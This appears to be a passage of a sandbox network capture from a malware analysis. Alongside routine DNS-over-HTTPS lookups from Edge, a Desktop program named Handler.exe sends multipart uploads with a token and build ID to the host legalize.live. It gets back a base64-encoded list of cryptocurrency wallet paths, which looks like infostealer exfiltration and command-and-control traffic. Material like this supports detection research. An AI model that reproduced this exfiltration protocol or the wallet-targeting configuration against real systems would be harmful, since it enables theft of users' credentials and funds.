2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028339aec1b0c82-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 05 00 00 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 30 00 25 07 77 77 77 2d 77 77 77 04 62 69 6e 67 03 63 6f 6d 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 2a 00 05 00 01 00 00 00 0c 00 24 0c 77 77 77 2d 62 69 6e 67 2d 63 6f 6d 0b 64 75 61 6c 2d 61 2d 30 30 33 34 08 61 2d 6d 73 65 64 67 65 c0 4a c0 5b 00 05 00 01 00 00 00 0c 00 02 c0 68 c0 68 00 01 00 01 00 00 00 0c 00 04 0d 6b 15 ed c0 68 00 01 00 01 00 00 00 0c 00 04 cc 4f c5 ed 00 00 29 04 d0 00 00 00 00 01 1c 00 0c 01 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwbingcomT0%www-wwwbingcomtrafficmanagernet*$www-bing-comdual-a-0034a-msedgeJ[hhkhO)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	50020	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:40 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:40 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 57 00 0c 00 53 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwbingcomA)WS
2025-01-15 19:16:40 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:40 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 9028339aee2f41ac-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:40 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 01 00 01 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 54 59 00 25 07 77 77 77 2d 77 77 77 04 62 69 6e 67 03 63 6f 6d 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 2a 00 05 00 01 00 00 00 35 00 17 03 77 77 77 04 62 69 6e 67 03 63 6f 6d 07 65 64 67 65 6b 65 79 c0 4a c0 5b 00 05 00 01 00 00 54 59 00 19 06 65 38 36 33 30 33 04 64 73 63 78 0a 61 6b 61 6d 61 69 65 64 67 65 c0 4a c0 85 00 06 00 01 00 00 03 e1 00 31 06 6e 30 64 73 63 78 c0 8a 0a 68 6f 73 74 6d 61 73 74 65 72 06 61 6b 61 6d 61 69 c0 15 67 88 09 90 00 00 03 e8 00 00 03 e8 00 00 03 e8 00 00 07 08 00 00 29 04 d0 00 00 00 00 00 f5 00 0c 00 f1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwbingcomATY%www-wwwbingcomtrafficmanagernet*5wwwbingcomedgekeyJ[TYe86303dscxakamaiedgeJ1n0dscxhostmasterakamaig)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	50030	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:41 UTC	282	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----gva1noz5pphvaasr1dbs User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 6990993 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 67 76 61 31 6e 6f 7a 35 70 70 68 76 61 61 73 72 31 64 62 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 67 76 61 31 6e 6f 7a 35 70 70 68 76 61 61 73 72 31 64 62 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 67 76 61 31 6e 6f 7a 35 70 70 68 76 61 61 73 72 31 64 62 73 0d 0a 43 6f 6e 74 Data Ascii: ------gva1noz5pphvaasr1dbsContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------gva1noz5pphvaasr1dbsContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------gva1noz5pphvaasr1dbsCont
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:41 UTC	16355	OUT	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
2025-01-15 19:16:48 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	50050	116.203.164.230	443	2968	C:\Users\user\Desktop\Handler.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:42 UTC	278	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----phlnglxt268gvasr1djw User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0 Host: legalize.live Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2025-01-15 19:16:42 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 70 68 6c 6e 67 6c 78 74 32 36 38 67 76 61 73 72 31 64 6a 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 61 30 39 35 61 32 63 37 36 62 35 35 61 35 63 64 37 34 31 32 38 35 61 61 38 37 36 38 33 64 0d 0a 2d 2d 2d 2d 2d 2d 70 68 6c 6e 67 6c 78 74 32 36 38 67 76 61 73 72 31 64 6a 77 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 34 66 65 63 63 31 61 37 34 66 30 38 35 61 35 38 66 31 64 65 62 65 34 62 39 32 62 32 63 35 39 0d 0a 2d 2d 2d 2d 2d 2d 70 68 6c 6e 67 6c 78 74 32 36 38 67 76 61 73 72 31 64 6a 77 0d 0a 43 6f 6e 74 Data Ascii: ------phlnglxt268gvasr1djwContent-Disposition: form-data; name="token"4aa095a2c76b55a5cd741285aa87683d------phlnglxt268gvasr1djwContent-Disposition: form-data; name="build_id"74fecc1a74f085a58f1debe4b92b2c59------phlnglxt268gvasr1djwCont
2025-01-15 19:16:43 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 15 Jan 2025 19:16:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2025-01-15 19:16:43 UTC	2228	IN	Data Raw: 38 61 38 0d 0a 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 Data Ascii: 8a8Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50069	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 07 62 72 6f 77 73 65 72 06 65 76 65 6e 74 73 04 64 61 74 61 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 48 00 0c 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: browsereventsdatamsncom)HD
2025-01-15 19:16:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833ae5d5f0c8a-EWR alt-svc: h3=":443"; ma=86400
2025-01-15 19:16:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 03 00 00 00 01 07 62 72 6f 77 73 65 72 06 65 76 65 6e 74 73 04 64 61 74 61 03 6d 73 6e 03 63 6f 6d 00 00 01 00 01 c0 0c 00 05 00 01 00 00 54 5e 00 2e 06 67 6c 6f 62 61 6c 06 61 73 69 6d 6f 76 06 65 76 65 6e 74 73 04 64 61 74 61 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 39 00 05 00 01 00 00 00 3a 00 29 10 6f 6e 65 64 73 63 6f 6c 70 72 64 65 75 73 31 38 06 65 61 73 74 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 24 c0 73 00 01 00 01 00 00 00 08 00 04 14 2a 49 1e 00 00 29 04 d0 00 00 00 00 01 1d 00 0c 01 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: browsereventsdatamsncomT^.globalasimoveventsdatatrafficmanagernet9:)onedscolprdeus18eastuscloudappazure$s*I)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	50070	172.64.41.3	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 19:16:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2025-01-15 19:16:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 07 62 72 6f 77 73 65 72 06 65 76 65 6e 74 73 04 64 61 74 61 03 6d 73 6e 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 48 00 0c 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: browsereventsdatamsncomA)HD
2025-01-15 19:16:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Wed, 15 Jan 2025 19:16:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 902833ae69cf43b7-EWR alt-svc: h3=":443"; ma=86400
